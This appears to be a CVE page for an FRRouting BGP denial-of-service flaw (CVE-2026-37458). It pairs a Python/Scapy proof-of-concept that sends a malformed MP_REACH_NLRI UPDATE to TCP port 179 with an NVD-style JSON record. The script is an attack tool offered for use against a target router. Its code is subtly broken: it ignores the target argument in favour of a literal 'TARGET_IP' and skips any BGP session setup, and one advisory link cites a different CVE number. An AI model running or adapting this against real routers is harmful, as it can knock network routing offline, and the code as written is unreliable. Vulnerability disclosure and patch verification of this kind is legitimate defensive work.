CVE-2026-37458

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-37458 # This script attempts to trigger the DoS by sending a crafted BGP UPDATE. # Note: Requires Scapy and appropriate network permissions. from scapy.all import * import sys import struct def craft_malicious_bgp_update(): # Construct a BGP UPDATE message with malformed MP_REACH_NLRI # The vulnerability lies in the parsing of MP_REACH_NLRI (Type 14). # Standard BGP Marker marker = b'\xFF' * 16 # Malformed MP_REACH_NLRI attribute structure # Type: 14 (MP_REACH_NLRI) # Length: Abnormal length to trigger missing validation # Data: Crafted payload attr_type = 14 attr_len = 20 # Example length attr_data = b'\x00\x01\x00' + b'A' * 17 # Malformed AFI/SAFI or NLRI data mp_reach_nlri = bytes([attr_type, attr_len]) + attr_data # Withdrawn Routes Length (0) withdrawn_len = b'\x00\x00' # Path Attributes Length path_attr_len = struct.pack('!H', len(mp_reach_nlri)) # Assemble UPDATE message payload update_payload = withdrawn_len + path_attr_len + mp_reach_nlri # Total BGP Message Length (Header 19 bytes + Payload) total_len = 19 + len(update_payload) bgp_len = struct.pack('!H', total_len) # BGP Header: Marker(16) + Length(2) + Type(1) bgp_header = marker + bgp_len + bytes([2]) # Type 2 = UPDATE # Full BGP Packet bgp_packet = bgp_header + update_payload # Encapsulate in IP/TCP (Standard BGP Port 179) return IP(dst="TARGET_IP")/TCP(dport=179, flags="PA")/Raw(load=bgp_packet) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) target = sys.argv[1] pkt = craft_malicious_bgp_update() print(f"[*] Sending crafted BGP packet to {target}...") send(pkt, verbose=0) print("[+] Packet sent. Check if FRR service crashes.")

{"cve": {"id": "CVE-2026-37458", "sourceIdentifier": "[email protected]", "published": "2026-05-04T16:16:02.170", "lastModified": "2026-05-11T19:52:46.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing input validation in the MP_REACH_NLRI component of FRRouting (FRR) stable/10.0 to stable/10.6 allows authenticated attackers to cause a Denial of Service (DoS) via supplying a crafted UPDATE message."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0", "versionEndIncluding": "10.6.0", "matchCriteriaId": "93799C85-83E1-4A71-B8A6-CFB9974CA661"}]}]}], "references": [{"url": "https://github.com/FRRouting/frr/commit/8102a8aeceb9f86fdfe1f80cd77080522bab69c8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mertsatilmaz/vulnerability-research/blob/main/advisories/CVE-2026-36365.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}